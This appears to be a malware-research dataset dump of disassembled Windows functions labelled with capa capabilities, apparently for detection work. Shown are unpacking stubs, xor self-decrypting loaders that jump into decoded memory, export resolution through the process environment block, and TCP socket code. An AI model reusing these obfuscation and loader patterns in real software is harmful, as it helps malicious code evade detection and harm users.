joyce8/EMBER2024-capa huggingface dataset:
Function at 0x445740
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2e000]
push edi
jmp 0x44575a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x445761
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x445750
mov eax, 1
add ebx, ebx
jne 0x445773
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x445768
jne 0x445784
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x445768
xor ecx, ecx
sub eax, 3
jb 0x445798
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44580a
mov ebp, eax
add ebx, ebx
jne 0x4457a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4457b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4457d4
inc ecx
add ebx, ebx
jne 0x4457c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4457b5
jne 0x4457d1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4457b5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4457f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4457e5
jmp 0x445756
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4457f4
add edi, ecx
jmp 0x445756
pop esi
mov edi, esi
mov ecx, 0xbd6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x445812
cmp byte [edi], 0x12
jne 0x445812
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x445817
lea edi, [esi + 0x42000]
mov eax, dword [edi]
or eax, eax
je 0x44588f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x49f50]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x49fa0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x445844
mov ecx, edi
jns 0x445873
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x49fa8]
or eax, eax
je 0x445889
mov dword [ebx], eax
add ebx, 4
jmp 0x445861
call dword [esi + 0x49fa4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4458c0
cmp al, 0xef
ja 0x4458b3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x445895
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4458a2
mov ebp, dword [esi + 0x49fac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4458f4
sub esp, 0xffffff80
jmp 0x407873
Function at 0x407dcb
Capabilities:
Encode data using xor

Disassembly:
mov cl, 0xf2
xor edi, eax
rdtsc
ret
call esi
jmp 0x407bfd
lea edi, [eax]
call 0x407dcb
and al, 0xff
add cl, 0
lea ecx, [esp + 0x20]
mov dword [ecx + 0x18], edx
jmp 0x407e34
xchg dh, ch
inc dword [ebp - 0xaf]
call esi
xor eax, edi
je 0x407dcb
jmp 0x407baf
lea ebx, [ebx]
mov dword [ecx + 0x10], edi
stc
lea esi, [esi]
mov dword [ecx + 0x14], eax
lea eax, [eax - 0x28554ef5]
and dword [ebp - 0xaf], 0
jmp 0x407dc9

Function at 0x407e2d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
pop ecx
lodsd eax, dword [esi]
inc ecx
lea esi, [esi]
wait
wait
wait
cmp ecx, dword [edx + 0x18]
lea edi, [eax + ebx]
jmp 0x407db5
mov ecx, 0x2ceee3b2
mov ecx, 0x7062bdc1
ret 4
sbb dh, dh
lea esi, [esi + ecx*2]
mov edx, 0x8b3e35ab
dec dh
movzx eax, word [esi]
and edx, ecx
pop esi
nop
lea edx, [ecx + 0x7002fc75]
add esi, dword [edi + eax*4]
jmp 0x403072
cmp byte [edi], 1
wait
ja 0x407dc0
xor eax, 0x11e6ab75
sbb eax, dword [esp + 4]
cld
jne 0x40301a
jmp 0x407cf4
add edx, dword [eax + 0x78]
push 0xffffffffffffffff
add esi, dword [edx + 0x20]
jmp 0x403019
ret
lea edi, [ebx]
lea esi, [ebx]
add edi, dword [edx + 0x1c]
add al, 0x78
add esi, dword [edx + 0x24]
lea edx, [esi + eax*4]
not edx
not edx
mov dl, 0xf7
not edx
cmp dl, 0xfa
push ebx
jmp 0x4030c7
mov bl, bl
je 0x407ce6
push 0
pop eax
imul eax, eax, 0xf
push eax
jmp 0x407de0
movzx eax, byte [edi]
sub dword [esp], eax
lea edi, [edi + 1]
pop eax
jmp 0x407c31
mov edx, ebx
jmp 0x407e51
and edi, ebx
mov esi, ebx
mov eax, ebx
add eax, dword [ebx + 0x3c]
jmp 0x407c99
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x10fa17e8
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x31e06082
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x42e004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x26ef0ead
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x68a34278
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10009830
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10009830
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10009830
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10009830
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10009830
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10009830
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10009830
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10009830
push 0xd008
push edi
call fcn.10009830
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10009830
int3

Function at 0x10009830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1000983f
pop dword [ebp - 0x48]
mov eax, 0x92549911
add eax, 0x7dabff2e
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3825f
push 0
mov eax, 0x736db165
sub eax, 0x636c7101
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x4496
xor ebx, ebx
add ebx, eax
mov esi, 0xeda2fa36
add esi, 0x225e8bca
add esi, dword [ebp - 0x48]
mov edi, 0x6483e9c1
add edi, 0x5522cb5b
add dword [ebp - 0x20], 0x4e6d30f8
mov edx, dword [esi]
add dword [ebp - 0x34], 0xe19d392e
xor edx, edi
add dword [ebp - 0x34], 0xd152a316
mov dword [ebx], edx
xor dword [ebp - 0x18], ecx
add ebx, 0xff28fe12
sub ebx, 0xff28fe0e
add esi, 0xea6aa327
add esi, 0x15955cdd
loop 0x1000989a
add eax, 0x1052b
xor ebx, ebx
add ebx, eax
add eax, 0xb22f948e
add eax, 0x4dd06b77
mov ecx, 0x36a201b2
add ecx, 0xd95dfe4e
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x40aef0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
jmp 0x40af0a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40af11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40af00
mov eax, 1
add ebx, ebx
jne 0x40af23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40af18
jne 0x40af34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40af18
xor ecx, ecx
sub eax, 3
jb 0x40af48
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40afba
mov ebp, eax
add ebx, ebx
jne 0x40af53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40af60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40af84
inc ecx
add ebx, ebx
jne 0x40af70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40af65
jne 0x40af81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40af65
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40afa4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40af95
jmp 0x40af06
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40afa4
add edi, ecx
jmp 0x40af06
pop esi
mov edi, esi
mov ecx, 0x175
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40afc2
cmp byte [edi], 1
jne 0x40afc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40afc7
lea edi, [esi + 0x8000]
mov eax, dword [edi]
or eax, eax
je 0x40b03f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb76c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb828]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40aff4
mov ecx, edi
jns 0x40b023
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb830]
or eax, eax
je 0x40b039
mov dword [ebx], eax
add ebx, 4
jmp 0x40b011
call dword [esi + 0xb82c]
mov ebp, dword [esi + 0xb834]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40b073
sub esp, 0xffffff80
jmp 0x40492b
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x40b15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x40b168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x40b14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x40b145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x40b145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret

Function at 0x40b1d2
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x24]
add edx, ecx
pop ebx
pop ebx
pop ebx
pop ecx
pop eax
pop edi
pop esi
jmp edx
mov ecx, dword [ebx + 0x28]
cmp ecx, 1
je 0x40b1c1
mov ecx, ebx
sub ecx, dword [ebx + 4]
xor cx, cx
mov dword [ebx + 0x24], ecx
add ecx, dword [ebx + 8]
mov esi, ecx
mov ecx, dword [ebx + 0xc]
xor edx, edx
mov eax, dword [ebx + 0x10]
xor dword [esi + edx], eax
add edx, 4
cmp edx, ecx
jl 0x40b1f5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebx + 0x24]
add ecx, dword [ebx + 0x1c]
mov esi, ecx
mov ecx, dword [ebx + 0x20]
xor edx, edx
mov eax, dword [ebx + 0x10]
xor dword [esi + edx], eax
add edx, 4
cmp edx, ecx
jl 0x40b285
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebx + 0x28], 1
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x24]
add edx, ecx
pop ebx
pop ebx
pop ebx
pop ecx
pop eax
pop edi
pop esi
mov dword [esp + 0x34], edx
jmp edx
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00409a27
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00409a27
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00409a27
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00409a27
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00409a27
mov dword [0x41203c], eax
call fcn.00409a27
test eax, eax
jge 0x402550
push 8
call fcn.00409a27
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00409a27
pop ecx
push 1
call fcn.00409a27
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00409a27
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00409a27
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00409a27
jmp 0x402495

Function at 0x409a27
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x409a36
pop dword [ebp - 0x30]
mov eax, 0x409a36
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x35f7a
push 0
mov eax, 0x7c22feaa
add eax, 0x841de22e
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x78a15fff
sub ecx, 0x78a12515
xor edx, edx
add edx, eax
mov ebx, 0x4fb65d17
add ebx, 0xb08adead
add ebx, dword [ebp - 0x30]
mov esi, 0x882f2dbd
sub esi, 0xf46db911
xor dword [ebp - 0xc], 0xe430e94
mov edi, dword [ebx]
add dword [ebp - 0x2c], 0x7e1586b9
xor edi, esi
mov dword [edx], edi
sub dword [ebp - 8], esi
add edx, 0xd706b62
add edx, 0xf28f94a2
add ebx, 4
loop 0x409a92
add eax, 0x138bf2d6
add eax, 0xec74eba5
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x401cfd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
mov esi, 0x105
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x401d22
xor eax, eax
jmp 0x401d82
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401d2b
sub eax, edx
sar eax, 1
cmp word [ebp + eax*2 - 0x20e], 0x5c
je 0x401d5e
push 0x44426c
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00427ae9
add esp, 0xc
test eax, eax
jne 0x401d1e
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00427ae9
add esp, 0xc
test eax, eax
jne 0x401d1e
lea eax, [ebp - 0x20c]
push eax
call fcn.0040372d
pop ecx
pop esi
leave
ret
Function at 0x4048cd
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
mov eax, 0x43c6f8
call fcn.0043a764
sub esp, 0x14
push ebx
push esi
push edi
xor edi, edi
push edi
lea eax, [ebp + 0xc]
push eax
push edi
push 8
push 1
push dword [ebp + 0xc]
mov dword [ebp - 0x10], edi
call dword [sym.imp.DNSAPI.dll_DnsQuery_W]
mov ebx, eax
cmp ebx, edi
je 0x404943
push 0x14
call fcn.0040157e
mov dword [ebp + 8], eax
mov dword [ebp - 4], edi
cmp eax, edi
je 0x40492c
push ecx
mov ecx, esp
mov dword [ebp + 0x10], esp
push 0x4449e6
call fcn.00404dcf
push ebx
push 0x96
push dword [ebp + 8]
call fcn.00404b20
jmp 0x40492e
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [ebp + 8], eax
push 0x44b26c
lea eax, [ebp + 8]
push eax
call fcn.00429bb6
mov esi, dword [ebp + 0xc]
cmp esi, edi
je 0x4049a3
cmp word [esi + 8], 1
jne 0x404999
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x404999
push 2
pop eax
push dword [ebp + 0x10]
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x1c], eax
push 0x10
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
or ebx, 0xffffffff
cmp eax, ebx
jne 0x4049a1
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov esi, dword [esi]
test esi, esi
jne 0x40494a
jmp 0x4049a3
xor ebx, ebx
xor esi, esi
inc esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.DNSAPI.dll_DnsFree]
test ebx, ebx
je 0x4049ed
push 0x118
call fcn.0040157e
mov ecx, eax
mov dword [ebp + 8], ecx
mov dword [ebp - 4], esi
test ecx, ecx
je 0x4049d7
push 0x95
push esi
call fcn.00404d1e
jmp 0x4049d9
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [ebp + 0x10], eax
push 0x44b27c
lea eax, [ebp + 0x10]
jmp 0x40493d
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov ecx, dword [ebp + 8]
push eax
call fcn.00404dcf
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0xc

Function at 0x404e1a
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 8], ebx
xor esi, esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x10], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x404e68
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x404e70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp dword [ebp - 4], ebx
je 0x404e81
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x404e96
push 0x44b2b0
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], esi
call fcn.00429bb6
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret
Function at 0x405ec8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
push 0x104
lea eax, [ebp - 0x218]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push 0x80
push 3
push esi
push 1
push connect
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 4], ebx
cmp ebx, 0xffffffff
jne 0x405f17
push 0x73
pop esi
jmp 0x406005
mov eax, dword [ebp + 8]
push edi
push 2
push esi
call fcn.00405eaa
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0xfffffffffffffffc
pop ecx
sub ecx, eax
push ecx
push ebx
call edi
cmp eax, 0xffffffff
je 0x405fa8
push esi
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
call ebx
test eax, eax
jne 0x405f56
push 0x79
jmp 0x405ff3
cmp dword [ebp - 8], 0xdeadbeef
je 0x405f66
push 0x7a
jmp 0x405ff3
mov eax, dword [ebp + 8]
push 2
push esi
call fcn.00405eaa
push 0xfffffffffffffff8
pop ecx
sub ecx, eax
push ecx
push dword [ebp - 4]
call edi
cmp eax, 0xffffffff
je 0x405fa8
push esi
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call ebx
test eax, eax
jne 0x405f99
push 0x75
jmp 0x405ff3
push esi
push esi
push dword [ebp - 8]
push dword [ebp - 4]
call edi
cmp eax, 0xffffffff
jne 0x405fac
push 0x74
jmp 0x405ff3
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x405fc1
push 0x76
jmp 0x405ff3
mov eax, dword [ebp + 8]
call fcn.00405eaa
sub edi, dword [ebp - 8]
sub edi, eax
sub edi, 8
cmp dword [ebp + 0xc], esi
je 0x405ff6
push esi
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 4]
call ebx
test eax, eax
jne 0x405fec
push 0x77
jmp 0x405ff3
cmp dword [ebp - 0xc], edi
je 0x405ff6
push 0x78
pop esi
jmp 0x405ffb
mov eax, dword [ebp + 0x10]
mov dword [eax], edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc